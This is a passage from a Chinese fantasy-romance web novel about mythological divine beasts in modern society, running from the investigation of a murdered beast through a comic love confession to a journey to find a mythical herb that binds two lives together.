眉眼凶厉的男人扯出刀,鲜血噗呲溅上他的眉眼,他眉眼染血,无情地凝视着眼前没有血色的“肉丸”,声音低沉凶厉。 “他要你死的,别怪我,帝江。” 第55章 第55章虫草数斯汤3 “轰隆…… “轰隆——” 猝然惊动的雷鸣在天空炸响, 孔宣与陆压走进店门的一瞬间,倾盆大雨擦着屋檐的边缘轰然泼下。 孔宣似有所觉,下意识地转过头将视线投射向远方,远远看见一个影子拍打着翅膀越飞越远。 他鼻尖微动, 莫名皱起眉头:“大风?他来找我……不对!” 孔宣脸色一变, 直接冲进磅礴大雨中。 雨水浇透泥巴, 浇出浓重的土腥味,与霉臭的雨水交融在一起, 模糊着感知,浓重地糊在嗅觉中。 孔宣却精准闻嗅到空气中一点不同寻常的味道, 他踩过泥水,三两下冲到隔壁,也顾不上什么敲门不敲门,直接一脚把门踹开。 陆压慢他一步,将伞架在他的头顶。 一把黑伞顺着他们的脚步向前, 逆着风雨的方向走向小楼。 小楼常年紧闭,门一打开, 浓重的血腥味顺着晕出的液体露出一角, 混杂着诡异的霉味,露出极端不祥的氛围。 “帝江!帝江!” 孔宣一边喊一边往上攀爬着楼梯, 他脚步飞快, 完全顾不上身后的陆压,顺着楼梯不断地盘旋向上。 鲜血被他踩在脚下, 他像是从水里捞鱼般,顺路将浸没在血水中的血丝捞起。 从一楼跑到三楼,血丝从他胳膊堆积溢出,他鞋底沾满血液, 怔神地在三楼的阶梯口停住。 在不久前,帝江用它们编织了一件衣服,就像神话里一样,披上“衣服”他也变成了人。 可现在,帝江不知所踪,从祂身上生长而出的血丝也彻底失去了供给源,变作干枯的海菜。 数不清的血丝早已失去了颜色,它们脱力从孔宣手臂流落而下。 “大王。” 陆压追上楼,眼神飞速从孔宣身上掠过,凉薄的眼睛落在满地血腥上,他猝然沉了眸色。 “这么多血。” 指尖掠过扶梯,陆压环顾四周,整间屋子像是被血洗过般,从屋顶涟涟浇了一地血液。 谁会用这么残忍的手段? 陆压深思:“这不是简单的入室。” 这是虐杀。 有人杀死了帝江,可能为了携带方便,肢解了祂的尸体。 “是大风,我嗅到他的气息了。” 孔宣面色冷凝,长眸锐利,深邃如墨的色彩上挑出犹如刀锋一般的弧度,显露出无边杀伐之相。 他只是在三楼看了一眼,将满是血腥抛在身后,长腿大跨步地往外走,猎猎狂风吹动他的衣摆。 他从陆压身边掠过,白皙的脸庞此刻凝着霜雪,斜飞的长眉更如刀锋锐利。 “神兽之间不互杀,这是规矩。” 何况手段如此残忍。 孔宣咬牙恨齿,从牙缝里挤出一声冷诮,神色更加凌厉庄严,疾言厉色道:“我会让他付出代价!” “呜——” 连绵的雨夜,警笛声也被大雨浇闷了声音,一切动静都被倾泻流落的大雨遮掩在焦灼的雨丝下,只有不停闪烁的蓝红光色映在雷雨天的窗户上,将灰蒙蒙的光景映出几分色彩。 孔宣将阳台的玻璃门打开,凉薄的雨丝被风吹进室内,他孤身俯视下面来往的警车,不高兴地纠结起眉头。 “为什么要叫这些人类?”这些人类什么都查不出来! 孔雀大王对人类世界的警察不屑一顾。 他倚在阳台围栏上,雨丝浇湿了他的发丝,湿淋淋地粘在他单薄的衣服上,隐约透出肩胛骨的痕迹,纤细的腰身也隐约可见。 他置身乱风骤雨,显露出几分落拓狼狈,唯有一双锐利的凤眸明亮如洗。 报警是陆压提议的,陆压端着一杯热可可,将一件干毛巾披在孔宣头上。 孔宣杀气腾腾的表情被遮住,风雨也一同被遮蔽在毛巾之外。 陆压将热可可递到他的手上,嗓音轻慢耐心:“血太多了,我们进去的痕迹遮不掉的,如果被邻居发现报警,警察会上门找我们麻烦。” “大王,你也不想有警察上门吧?” 陆压转过头,一双眼睛深邃清明,似乎带着些许笑意。 孔宣被他笑得忍不住偏移目光,忍不住哼了一声,无意识将热乎乎的饮品抿进嘴里,热可可甜滋滋的味道舒适又甜蜜,孔宣顿时又哼了一声,被糖衣炮弹打击得无话可说。 陆压目光落在楼下,警察来来往往,这其中,似乎有几个人格外不同。 他又说:“何况我们的帮手里,未必不能有人类。” 比如安全局。 安全局的立场至少是和普通人站一起的,一只偏向中立的神兽被谋杀了,安全局绝不会坐视不理。 就算是千金买马骨,也必须要让其他可能被拉拢的神兽看到他们的态度。 孔宣认为这是神兽之间的事,他们自己能处理。 这也是妖管局一直以来的做法,神兽犯事私下解决,仇杀、谋杀一概不管,甚至可能因为对方的实力而有所放纵。 陆压不这么认为。 人和妖之间,需要引进新的秩序了。 陆压眸色黑沉,手上却极其轻柔地隔着毛巾揉了揉大王的头发,嗓音低哑性感:“回房间了,小心感冒。” 窗外风雨雷鸣,窗内一室寂静。 昏昏暗的环境下,只有一盏小台灯照亮一小方天地。 孔宣换了身衣服,头发也只是半干,在毛巾上晕出花似的痕迹,披散在削瘦的肩膀,抿上一口热可可,顿时弯起唇角,脸上漫出些许温暖的绯色。 他仰起头,发丝被人抓在手里轻轻擦过,从他的视线里可以看到陆压线条流畅的下颚和专注的眉眼。 似乎今天发生的事没有在他身上留下一丝一毫的痕迹。 孔宣都快气炸了,他依旧事不关己,一脸淡定。 孔宣突然觉得不爽,手撩起一缕发尾搔弄过他的下巴,扬起下巴将陆压的手压住不许他动。 他把脑袋一歪,枕在男人的掌心,轻哼出声:“是不是遇到什么事你都不在乎?” 那可是帝江! 在他们隔壁被杀了诶! 孔雀大王不开心地歪着脑袋,小脸枕在掌心,陆压忍不住比了比,一时间居然有点失语。 他情难自禁地将手贴在孔宣的脸侧,细腻温润的皮肤像是含绯的白玉,令人爱不释手,不住摩/挲/厮/磨。 他才恍然回答:“大王,我是人,不是石头。” 他可没有什么铁石心肠。 孔宣哼声:“那你一点都不难过吗?” “就算我死了也不难过吗?” 孔宣说着说着,忍不住挑起眼尾,上挑着眼睛注视着陆压,换了好几个姿势,试图从他脸上看到难过或是其他什么情绪。 他动作不老实,陆压手里还抓着他的头发。 孔雀大王娇气得很,不喜欢用吹风机吹干的头发,随性地披在肩膀上,往往陆压看不过去拿着毛巾帮他擦了。 他动得太快,陆压不得不按着他的肩膀按回去,把毛巾盖他脸上。 潮湿温热的毛巾盖在脸上,孔宣眼前一片漆黑,他撩起毛巾一角,看到了一双润湿又沉默的眼睛。 那双眼睛黑漆深沉,像是有一个漩涡般,每每长久注视都似乎会被里面的凉薄吞没,可此刻,这双眼睛湿润如水,像是一汪破碎的月光。 陆压低声说:“大王,不要乱开玩笑。” “哦……” 孔宣鬼使神差地将毛巾盖了回去,姿态难得乖巧,只有毛巾下隐约露出的耳尖红了一片。 他忍了又忍,这期间屁股像是有针扎一般显得坐立难安,抱着杯子忍不住咬着边缘思考。 “鸦。”孔宣出声。 陆压应声。 孔宣又不说话了,他脸埋在毛巾里闷笑两声,像是偷腥的小狐狸,眼睛里满是狡黠。 “我知道了。” 陆压:? 孔宣却不愿意继续说下去了,他把杯子一放,脚步轻盈地走向房间,回过头朝陆压眨了眨眼。 “晚安~” 旋即就像是一片狡黠的月光,翩然潜进了房间。 陆压无奈失笑,低声答应:“晚安。” 客厅的灯就此熄灭,窗外雨丝连绵,乌云沉沉压在头顶,醺出几分不同寻常的意味。 楼下负责收拾残局的安全局成员猝然抬起头,视线从隔壁漆黑的窗子上一闪而过。 他转过头,在满天雨幕下接通了安全局的电话。 “对对,确认了,情报属实,没见到凶手返回现场……对对,发现皮屑和血液……嗯,我知道了……” “滴滴——” 安全局内部。 电子屏幕占据房间的一整面墙壁,掌控全局的男人身着军装,身上的上校军章在璀璨刺目的白昼灯下熠熠生辉。 上校捏了捏鼻梁,久经风霜的坚毅脸庞折痕深深,一道道命令顺着他的指尖发出。 他冷声命令:“不计任何代价,封锁消息!我们绝不能让这种消息出现在网上引起恐慌。” “至于陆压,先和他保持合作消息,不要激怒他,他对我们还有用,不要让偏向我们的民众寒心。” …… 一大早上,连绵的雨丝淋淋敲击着窗台,好萌的清晨被一道不合时宜的声音惊破。 一身病号服的青年一边狂拍店门一边喊话,“滋滋”挠门声哀怨又凄厉,扯着嗓子愤怒嘶喊: “孔宣!孔宣!你有本事把我送男人,有本事开门啊!我知道你在家!” “孔宣!” 孔宣一个激灵,猛地从睡梦中惊醒:?! 第56章 第56章双生合欢糕 “孔宣!你个…… “孔宣!你个浑蛋, 你见钱眼开、见色忘友、阴险狡诈、无情无义——” 一连串的怒骂噼里啪啦地砸向大门,连绵的雨丝都遮不住语气里的哀怨愤怒,嘶吼着哐哐砸门。 正是此时,一队车队极速在路口停驻, 一个青年人着急忙慌人跑下车, 手指指着门口的病人急声大呼:“他在这!快!” 青年一声招呼, 车队里下来七八个穿着西装的黑衣保镖。 九凤扭头一看,顿时气得骂街, 急得直挠门:”孔宣!孔宣!你特码——” “你!” 九凤骂骂咧咧,突然门一开, 他没有支撑,往店子里一倒。 视线里冒出个脑袋,眉眼张扬的青年双手叉腰,气势汹汹地逼问:“你干什么呢!来我门口骂街!” 九凤顾不上和他多说,着急忙慌推搡着孔宣进了门, 把店门一关,整个人贴在门上, 任凭大门被人敲得哐哐作响也不敢松懈。 看孔宣在旁边抱臂看好戏, 顿时急声怒骂:“你看你干的好事!” “我干了什么好事?”孔宣扬眉。 他视线在九凤身上的病号服和玻璃门外被保镖簇拥满脸焦急的张晚照,神色猝然意味深长起来, 颇为玩味地翘起唇角。 “哇哦, 落跑新郎~” 九凤气得仰倒,差点没晕过去, 一时疏忽,差点被人突破大门,里面紧张兮兮地堵了回去。 他身板不壮,力气不小, 几个保镖推门都没把他推开。 张晚照在门外焦急哄人:“九凤你先出来,我保证不换你的药了,我给你换的那都是维生素片,不是想害你。” “我们可以去医生面前对峙,你出来,我们好好说说啊……” 九凤急眼了:“你骗人!你昨天晚上偷偷干什么了?你以为我没发现,你馋我身子,我看你简直就是昏了头了!” 张晚照脸色一白,可怜巴巴地贴着门上劝说:“九哥,我没有,你别跑了好不好?医生说你最近好很多了,我们再去看看医生好?” “不行!” 一群人隔着一扇玻璃门上演偶像大戏。 陆压提着一袋子菜回来,被堵在门口观望一会儿,从后门进了小楼。 “怎么了?” 孔宣一门心思看热闹,听到他的声音还吓了一跳。 他懵懵地回过头,眼睛对着陆压眨了眨,陆压视线在他圆滚滚的眼睛上转了一圈,落在了一身病号服的九凤身上。 “需要帮忙吗?”陆压水灵灵地拿出一把大锁。 九凤大喜过望,连忙让开位置,堵着门朝陆压招呼:“来来来!” 快锁快锁! 九凤一脸激动,俨然是遇到了热心的吃瓜群众。 陆压缓缓看见,九凤目露期待,眼见他骨节分明的手落在门上,抓着门把手稍稍一用力。 瞬时间,几个保镖挤出一条缝隙,让身形瘦弱的张晚照钻了进来。 下一秒,陆压落锁,转过身注视着傻眼的九凤和乱糟糟的张晚照。 “不用客气。” 他拍拍手,落得一身轻松,体贴地示意九凤不用太过感谢他。 九凤:我#&♂%¢↑Ψ…… 孔宣在旁边看了半天,饶有趣味地问:“你人格分裂好了吗?” “狗屁的人格分裂!”九凤气得直仰倒。 提到这个,他简直捶胸顿足,气上心头长吁短叹:“庸医!庸医!” “看来是好了。”孔宣头一点,视线飘到旁边的张晚照身上,他凤眸微敛,勾起耐人寻味的笑容:“你既然好了,那就不是因为有人换了你的药生气。” 他拢着袖子,搬了个凳子坐下,撑着下巴好整以暇地问:“那你为什么生气?” 张晚照眼睛睁大,下意识地看向九凤。 不是因为发现换药了,那就是在昨晚…… 意识到这件事,张晚照脸色一白,居然没有再闹着要九凤跟他离开,嘴唇嗫嚅着,偏开头忍不住眨了眨眼。 就听九凤指着他大声嚷嚷,言辞掷地有声:“还不是这个人类想吃我!” 他痛心疾首地痛斥:“我也算你的救命恩鸟,你怎么可以和那些庸俗的人类一样馋我的身子,我的品格我的美貌,我所有的一切居然都唤不起你那一点点良心,我真是看透你了!” 张晚照:? “等等,你说馋、馋什么?” 那个身子是正经身子还是不正经身子? 张晚照满脸空白。 孔宣在旁边听得更是忍不住战术性后仰,脸上又出现了那种空白又茫然的CPU烧坏了的表情。 他目光转移到张晚照身上,然后又转到九凤身上,眼中的怀疑徘徊在“大胆!居然有人胆敢吃鸟肉”和“九凤你是个木头”中间徘徊。 “你真的有病?”孔宣实在忍不住了,一脚踹翻九凤。 想到自己没睡好的觉,忍不住偷偷踹两脚,指着张晚照很不礼貌地翻了个白眼。 “你哪只眼睛看他馋你身子?” 孔宣手指一指,张晚照支支吾吾地憋红了脸。 九凤狐疑的目光落在他的身上,目光搜寻着,似乎要看出什么破绽。 张晚照坐立难安,实在忍不住了,大声承认:“没错,我就是馋你身子!” 我就知道!九凤瞳孔地震,正要跟孔宣申诉。 就见张晚照攥着拳头过来,拎着他的领子低头、强吻、抬头一条龙。 他一抹嘴巴,气势汹汹地问:“我就馋了,我不只馋你身子,我还要和你结婚,馋一辈子!” 张晚照大声呼呼,声音很大,气势汹汹,脸红到脖子根了。 “你你你……”九凤指尖颤抖,指着张晚照半天说不出一句话,憋了半天憋出一声惊惧到撇叉的破音:“嘎?” 旁边两个吃瓜路人惊叹鼓掌:“哇!” 进度飞速啊! 孔宣功成身退,坐在板凳上看好戏,看着看着眼角余光睨到旁边的陆压,突然感觉不爽,忍不住咬牙“嗤”了一声,没好气的踹了旁边的凳子一脚。 张牙舞爪地催促:“人家跟你告白呢,怎么样,答不答应!” 他眉梢一扬,斜飞的长眉向上挑起,更显恣意嚣张。 正主还没反应,他先急上了。 “大王。”旁观者二号出声,他拦住焦急的孔雀大王,状似老实地为两人找补:“不要急,一下子表白就没戏看了。” 孔宣挑眉,很缺德地笑了两声:“你说得对。” “……不要把我们当戏看啊!”九凤忍不住吐槽。 他脸上狰狞恼怒,混杂着几分红晕,气势汹汹地朝孔宣竖起一根中指。 飞速就撤回了,再慢一点就要被打。 孔宣忍不住嗤笑,抱着手臂慵懒地倚靠在旁边人身上,随性的挑了下眉。 似乎在嘲笑九凤的虚张声势。 “所以,你的答案呢?”张晚照不管这些,只一个劲盯着九凤,变本加厉地上前一步逼问。 “你想办法给我治病,又答应在疗养院好好吃药……之前你脑子不清楚,现在你总清楚吧。” “你难道就没有一点喜欢我吗?” 张晚照神色倔强,他依旧瘦弱的骨骼似乎在发颤,碰撞在一起发出“咯吱咯吱”的声响。 就这么睁着一双眼睛,用倔强又绮丽的目光向他,等待着一个答案,等待闸刀的落下。 但他不会轻易放弃的。 他可是跟孔宣保证过,他活多久就要缠着九凤多久。 他的神色里清晰地透露出这个意思。 九凤摸了摸脑袋,他忍不住龇牙,手捂着脸,好一会儿才说:“这可难搞了……” 他嘀咕着,又没忍住抓了抓头:“好吧!好吧!” 九凤有点自暴自弃了,他向后仰头,视线看向孔宣:“孔雀,再帮我一个忙?” 孔宣挑起唇角,漫不经心地拉长语调:“什么忙?说来听听?” “一对漂亮猎物什么的吧。”九凤有点不确定,还征询张晚照的意见:“你们人类结婚是要这些吧?” 张晚照呆滞地眨了眨眼:? “我就说很麻烦吧。”九凤又忍不住嘀咕起来。 孔宣照着他的背就是一脚,没好气地叉腰训斥:“还有老婆送上门,你就偷着乐吧!” 怎么会有人老婆送上门还嫌麻烦的? 孔宣看了眼陆压,更加面无表情。 哦,还有主动跟老婆分房间睡的。 孔雀大王怒上心头,一怒之下撇开脑袋,打算跟不识好歹的陆鸦鸦绝交一秒。 反应过来的张晚照发出惊天尖叫。 “不用不用不用——”他激动地一把扑进九凤怀里,抬起头对准九凤就是一顿啵啵啵。 一边亲一边猛猛摇头。 什么猎物什么聘礼,完全不要! 九凤被亲得晕头转向,脸上只剩下迷茫又克制不住的傻笑。 陆压在一旁看着,品味到了莫名的嫉妒。 他下意识看向孔宣,视线落在他清绮的侧脸,幻想着张扬霸道的孔雀大王激动起来会是什么样。 那只金乌…… 有看到过吗? 陆压凝望着孔宣,孔宣抱着手臂,居高临下地看着激动到不知天地为何物,如同做了夫妻般缠绵在一起的两人。 忍不住狞笑叫停:“再亲下去我收费了啊!收很多钱,收到你们破产!看你们拿什么结婚!” 孔雀大王,酸! 第57章 第57章双生合欢糕2 孔宣满…… 孔宣满脸不爽, 抱着手臂坐在两人对面。 被亲懵的九凤到现在还回不过神来,张晚照则是一副坐立难安的欢喜表情,看起来快乐得要蹦起来了。 “九哥,我们回疗养院吧, 你突然跑出来, 疗养院快要急疯了。”张晚照快乐得喋喋不休。 他脸上的笑容遮都遮不住, 咧着嘴巴,比起以前那副了无生趣的模样, 多了几分快乐与纯粹。 九凤摇摇头。 张晚照又说:“那我们回家,我们回家住, 不回疗养院了。” 张晚照非把九凤送到疗养院的原因,是因为九凤吃了太多精神类的药物,要慢慢戒断与换药,私人疗养院会更遵循家属的意见。 至少,张晚照说换药, 医院的医生会保持专业素养不同意,疗养院则会在劝说无果后答应下来。 他们俩一起在疗养院住, 九凤的精神分裂好多了, 张晚照因为抑郁而瘦到皮包骨的恐怖模样也肉眼可见胖了起来。 现在不回去也可以。 张晚照半哄半商量,九凤还是摇头。 “回去?我不回去。”九凤不假思索地拒绝。 “为什么啊!”张晚照急了。 九凤顿了顿, 他与孔宣对视, 那双泛着青色的凤眼正好整以暇地望着他。 他苏醒后就一直在医院居住,基本没有怎么出来面对现代社会, 但不代表九凤不知道现在的局势。 九凤问孔宣:“你觉得我现在应该回不周山吗?” 不周山是他们原初生灵永恒的“故乡”。 不论走到何处,不管走出多久的岁月,他们一定会回去的。 孔宣听出了九凤的意思,他下意识皱眉, 感到了极大的不可思议:“你不想回不周山?” “不是不回,是缓回,慢回,有规律有计划地回去。”九凤解释,他身上气息沉静,在这一瞬间似乎又浮起了些许混乱的气息。 九凤说:“我有不好的预感,孔雀,你知道的,我生来有九个头颅,每个头颅都有不同的能力。” 他是一只九头鸟,身形像凤,却有九个脑袋,九个不同的意识,他不是代表吉祥的神鸟,很多时候他会给人类带来灾祸。 因为他预知灾难,追寻灾难,他每次出现都会有灾祸发生。 “孔雀,结婚真的超级麻烦,除了自己外还要管另一个人,不过这也没办法了……” 九凤又忍不住嘀咕起来,他抓了抓头发,虽然抱怨,但脸上没有什么后悔的。 “反正人类的钱生不带来死不带去的,孔雀你报个价,你帮我弄个东西,然后不管怎么样,我要带着老婆逃命去了。” “不周山?等事情平息了我会考虑回去的,提醒你,你现在最好也别想着回去。” 九凤不发疯的时候,思维相当清醒,甚至能给出一点建议。 他一旦说什么的时候,最好真的这么做,尽管他的预知能力很垃圾,甚至说不清会发生什么,但他的直觉基本不会出错。 孔宣思考着,面色晦暗难辨。 “不周山……”他咀嚼着这几个字,下意识往陆压的身边偏了偏,靠在椅背上歪头笑了起来。 他现在可不会回去的。 陆鸦鸦在这里,他怎么能抛下陆鸦鸦跑路? 孔宣轻快地笑了一下,他歪过脑袋,笑意浮光掠影般从他眉眼晃过。 “怕什么,我才不回去呢。” 他肆无忌惮地笑着,漫不经心地摆弄长发,浓密的长发披散在他的肩头,他眼睛转动,目光绮丽深长地望向九凤。 “你想要我帮你做什么?” “人类的寿命还是太过短暂了。”九凤说道。 他抓住张晚照的手,张晚照脸上兴奋的情绪稍稍收敛,下意识地缩了缩手,被九凤一把抓住了。 “你不要大雁,那就换一个吧,换生死与共的长生好不好?” 九凤目光专注,没有一丝一毫的玩笑意味,而是认认真真地跟张晚照打商量。 但说是商量,他早就决定好了。 不等张晚照反应,他一把拉着十指相扣的手压在桌子上,目光坚定地说:“我要一株双生合欢草!” 合欢仙草叶片和花果相依相偎,有情人常常用此来互许终生,这其中有一种双命孪生的双生合欢草,夫妻共同服下可以让彼此同生共死。 同生共死,永拥长生。 现在世界的灵气还不足以滋生出令人长生不死的渠道,但九凤要许予张晚照一场同生共死的长生。 “!” 孔宣瞳孔放大,下意识地看向旁边的陆压,死鸦鸦还是这个不动声色的死样子。 “鸦!你看他!” 孔宣忍不住了,指着九凤飞速控诉。 怎么会有人又争又抢?刚有了老婆就要和老婆同生共死! 陆压你说句话啊! 孔宣目光控诉哀怨,眼刀飞也似地直往陆压身上戳。 陆压:? 陆压歪过脑袋,隐晦地和大王挨在一起,小小声问:“怎么了大王?” 是这个东西很难找吗? 孔宣只觉得额角青筋跳动,皮笑肉不笑地扯开笑容,手指一掐,直接掐住了陆压硬邦邦的脸皮,用力扯了扯。 恨不得扒开陆压的耳朵,对着他大喊:“你看看他啊!坏鸦!” 神鸟群里有玩浪漫的,玩纯爱的,还有入室抢劫的…… 怎么就一点没学到呢! 孔宣脸上的笑容越发狰狞可掬,狠狠地伸手在陆压腰上猛掐了几把,手撩起他的衣摆直接钻了进去。 陆压:。 他一把摁住孔宣的手,视线扫过九凤与张晚照,两双眼睛正吃瓜地看着他们。 被他视线一扫,瞬间看天看地,不敢看他们。 陆压摁着孔宣的手,低眸与他对视,孔宣瞪圆眼睛,大有一副“有本事你管我”的嚣张,狠狠摸了两把腹肌。 紧接着,他歪过脑袋,故意把头靠在陆压肩上,在他肩上吐气如兰,哀怨控诉:“话不会说,让我摸摸都不行?” “哼~”他哼了一声,娇嗔怨怼,尾音万转千回。 哼得人骨头都酥麻了。 陆压后腰一麻,下意识绷紧腰腹,掐住他手腕的手也松了。 厮/磨着青年细腻的皮肤,陆压眼神晦暗,一根一根地收紧手指,隐忍低语:“好。” 他收紧手指,非但没有把孔宣拨开,还纵容帮扶,将他的手掌彻底贴在腰腹上。 硬邦邦的腰腹肌肉缩紧绷硬,难以言喻的力量感在一瞬间拉紧了张力,灼热的温度似有一团火,烫得人掌心发麻。 正哼唧控诉的孔宣一个激灵,猛地坐直了身体,急声答应:“好、好!” 他嗓音扭曲一瞬,差一点又被陆压拉倒回去,急急忙忙拔高声音甩手提醒:“合欢草!双生合欢草!” “你要这个对吧!没问题我马上就能给你弄来你什么时候要明天行不行我——” 孔宣急声秃噜,一秒停顿也没有,飞速将话题接过。 他张了张嘴,藏在发丝下的耳朵早已染满了涩意。 “啊……” 不对劲!不对劲啊! 九凤恍然,眼睛看看这个看看那个,表情耐人寻味极了。 孔宣被他看他浑身不自在,像是有无数只群友在身上爬,顿时恼怒不已,攥紧拳头张牙舞爪地逼问:“双生合欢草,你还要不要了!” “要要要!”九凤和张晚照齐齐点头。 张晚照直接掏出手机就要打钱:“一点心意,请务必帮忙!结婚请你坐主桌!” 拜托拜托! 张晚照双手合十,虔诚地拜了拜。 爱信等。 这种事拜月老、菩萨是没用,但是拜孔雀大王…… 孔宣矜傲地扬起下巴,摆摆手表示小事一桩,轻轻松松。 送走了九凤和张晚照,陆压回过头,探究地询问:“大王,要去哪里找双生合欢草?” “这个嘛,找别人可能还真没有。”孔宣点了点下巴,得意地翘起唇角,狡黠地朝陆压眨了眨眼。 “谁叫找的是我呢?” 孔宣神采飞扬地挑起长眉,眉毛似乎在跳舞般,脸上的表情活泼又灵动。 孔雀大王肯定有! “我之前存了一点,虽然没有带出来,不过回去之前苏醒的地方找找应该是没问题。” 孔宣一边说着,一边低头在手机点了点。 陆压探过头,和他脑袋挨着脑袋一起看地图,看着孔宣轻车熟路地在地图上画了一个圈,正好是某座神山的地址。 但是这些对于陆压来说并不重要。 他目光探究,深深地凝望着孔宣的侧脸。 孔宣嘴角翘起的笑容依旧得意又张扬,像是一片秾烈的花海,令人的目光忍不住黏着在他的身上。 可是陆压又忍不住想:为什么会有双生合欢草? 他要和谁一起共拥长生? 陆压不动声色地和孔宣挨在一起,感受到对方清浅的呼吸落在感知中,似乎在感受他的存在,确认他的身边只有自己。 只是这样的行为慢慢就变了味,陆压表面依旧是一副沉稳淡漠的模样,手臂却将孔宣半环绕在怀里,在孔宣面前的温和化作如有实质的占/有/欲。 他表面正经,却欲壑难填,无声品味着嫉妒的思绪,自我折磨般收紧了手指。 不管是谁,都不会有这个机会了。 是他的了。 第58章 第58章双生合欢糕3 “………… “……” 孔宣猛然转过头, 他举起手机,不大的手机比在脸边,他眉眼弯弯,手指点在屏幕上笑盈盈地挑眉示意:“鸦, 我们现在就出发怎么样?” 笑容中没有一丝一毫的阴霾, 也看不见陆压阴郁的神情。 他转头太快, 陆压下意识往后仰了仰,这一瞬间, 他凝视着孔宣的笑容,像是在看一朵盛烂的花。 盈盈的电子光遮不住他眼底流漾的绚丽光彩, 漫漫如星海铺陈出一片璀璨明亮的青色。 陆压怔怔点头,没有任何想要忤逆他的想法。 孔宣顿时欢呼一声,兴奋地搜寻路线,嘴巴嘀嘀咕咕:“这种东西我有不少,应该能找到很多, 到时候我们送给他们一点,自己吃一点。” 陆压顿时疑惑:“我们?吃?” “是呀。”孔宣点头。 突然他反应过来, 双手交叠抵在下巴, 歪着脑袋忽闪着睫羽看向陆压,笑得又坏又甜。 “鸦。”他眨眨眼睛, 意味深长地撩起发尾, 逗弄般在陆压的手背打转,身体往陆压的方向倾了倾。 “你不愿意和我一起吃双生合欢草吗?” 他扬着脸, 长眉蹙起,流露出几分哀怨的神情,手指拨弄着发丝,眼尾低垂, 眉宇间的神采更加婉约秾烈。 陆压心脏一跳。 就见孔宣脸上露出了恶劣又戏谑的表情,嬉笑着一头倒在他怀里,笑得停不下来。 “你好笨啊,陆鸦鸦,怎么可能只是吃点草就能同命长生?” 孔宣窃笑出声,带着恶作剧成功的得意,神飞气扬地朝陆压露出一个无辜的笑容。 “双生合欢草是让彼此短暂心意相通,想要同命长生,需要在同时吃下双生合欢草时向天地许诺同生共死,天地可鉴才会起效果。” 不然,那也只是一株短暂让人心意相通的仙草而已。 天地认证何其苛刻,只有抱着愿意为对方殉情的信念才能通过,双生合欢草只是一种增加成功率的催化剂而已。 “哎呀,你说那张晚照真的能通过天地考验吗?同命长生,呵呵。” 孔宣玩味讥笑,漫不经心地从陆压怀里起身,不知道想到了什么,唇角的笑容冻出几分冷诮。 其实同生共死,也未必奏效。 如果一方真的下定决心斩断情缘,只要有一方心甘情愿用心头血护住对方心脉,对方也能勉强苟活。 可是既然决心斩断情缘,又怎么会愿意用心头血护住对方心脉? 只有傻子才这么干。 孔宣睨向陆压,忍不住用手指戳了戳他的心脏,嗔怒骂他:“傻子,蠢货。” 陆鸦鸦就是个傻子。 陆压抓着孔宣指指点点的手,低头靠近,将下巴垫在他的手心。 “大王。” 他轻轻蹭了蹭孔宣的掌心,抿出一点情愫:“如果有多的,我能留一点吗?” “你要这个干嘛?”孔宣横他一眼,“自己吃啊?” “嗯,自己吃。”陆压低沉应答。 说话间,他喉间滚动,吐出的气息似乎连同心跳一起传递到孔宣掌心。 孔宣掌心放置着男人的下巴,也似乎放置着隐晦难辨的真心。 “那种东西,再吃可就没用了……”孔宣嘟囔着。 他眼睛睨向陆压,在被陆压捕捉到之前飞速移开,装模作样地清了清嗓子:“你要那就给你吧。” 不过嘛。 孔宣飞速用眼角余光睨了他一眼,仰着下巴好心提醒:“你吃了也没用了。” 哼哼~ 陆压垂眸低笑:“没关系。” 有没有用,试了才知道。 知道了东西在哪,两个人说定马上出发。 难得这次是去他的“埋骨之地”,孔宣好好准备一番,换了身漂亮的白色卫衣,柔和的青绿水墨在大面积的白色中铺撒挥陈,薄衣遮不住他衣下细瘦的腰身,反而衬得人眉眼沉静婉约。 他从楼梯走下,眉眼一弯,狭长的丹凤眼凌厉张扬,更灵动狡黠。 像是神人从画中走出般。 陆压在楼下等着,一时眸色惊动,神色怔怔。 孔宣走到他的身边,瞬间张扬起灵动的神采,脚步轻快地越过他往前走:“gogogo!” 快走快走快走! 孔宣欢喜得不行,迫不及待要走,脚步快得陆压迈着大长腿都有点跟不上。 远远看他又蹦又跳的,不老实的碎发飘在头顶,解开封印般欢快地迎风摇晃。 仿佛去的不是埋骨之地,而是回快乐老家。 当时孔宣能从山里飞出来落到陆压家门口,除了一双有力的翅膀怒气冲冲势要与天斗外,出土的地方距离陆压家也不是很远。 两个人如愿坐上高铁,在人类快速移动的科技工具下,时速达到350公里。 三个小时后,孔宣和陆压背着包,从出租车上下来。 他们眼前是一座十分古怪的山脉,中间高山矗立,边缘却像是一座山被劈开般,在两边倾倒堆积,连一些树木也呈现出诡异的倾斜状态。 孔宣站在山脚向上眺望,人类的形态在高山下犹如蝼蚁,比树木还要低矮,观视高山犹如看到了顶天立地的天柱。 他提了提背包带子,稍微辨别了一下方向,轻车熟路地带着陆压上去。 “就是这座山突然从地里冒出来,把我的洞府都顶坏了,还把我顶了出来。”孔宣一边说一边走。 他也不看地上有没有什么树枝石头,直接把鞋子踩进草丛里就往上走,崎岖的山路也走得如履平地。 “妖管局上来过。”陆压环顾四周,从地上捡到了几片破碎的绝缘胶带。 这种胶带是用来捆束灵气,背面印着妖管局的logo。 他将胶带叠了叠收进口袋里,随手从地上捡了根木棍走到前面开路。 陆压干活利索,拿木棍在前面左右打了打,很快清出一条路。 孔宣踮着脚往他前面看了看,对比前面杂乱看不见的道路,再对比现在脚下能看见落脚点的泥地,忍不住缩了缩脖子,偷偷弯起唇角。 “笨鸦。”孔雀大王嘟囔着,伸手戳了戳陆鸦鸦的后背。 陆压转过头,就见他脑袋一偏,歪头歪脑地倒在他的背上。 孔宣直接攀着男人的肩膀往上一跳,男人硬邦邦的肩膀晃都不晃,反而主动伸手勾住他的臂弯。 孔雀大王得意得不行,晃着脑袋,毛毛躁躁地蹭到陆压的颈窝,肆意地在他耳边命令:“你背我走,我给你指路。” “快走快走,驾!” 孔宣欢快地晃着腿,圈着陆压的脖子撒娇。 陆压被晃了一跳,从善如流地架住大王的腿弯,好脾气答应:“好,大王指路。” 他脚步很稳,拖着腿弯把人往上一带,沿着看不见的山路往上走。 一路上,孔宣的视线被周围的东西吸引,时不时探头指指头顶停驻的小鸟,或者伸手去勾山上的果实。 他晃着腿,将一朵山花放到鼻尖轻嗅,靡颜腻理的肌肤泛起健康的绯色,随着敛起的眸子流露出格外欢喜的色彩。 “鸦鸦。”孔宣俯身,绵软的身子靠近,压在陆压头上。 陆压呼吸一窒,沉声答应:“嗯?” 视线里突然出现一张明媚笑颜,孔宣倒过头,将手中的花递到他的面前,调皮地逗了逗。 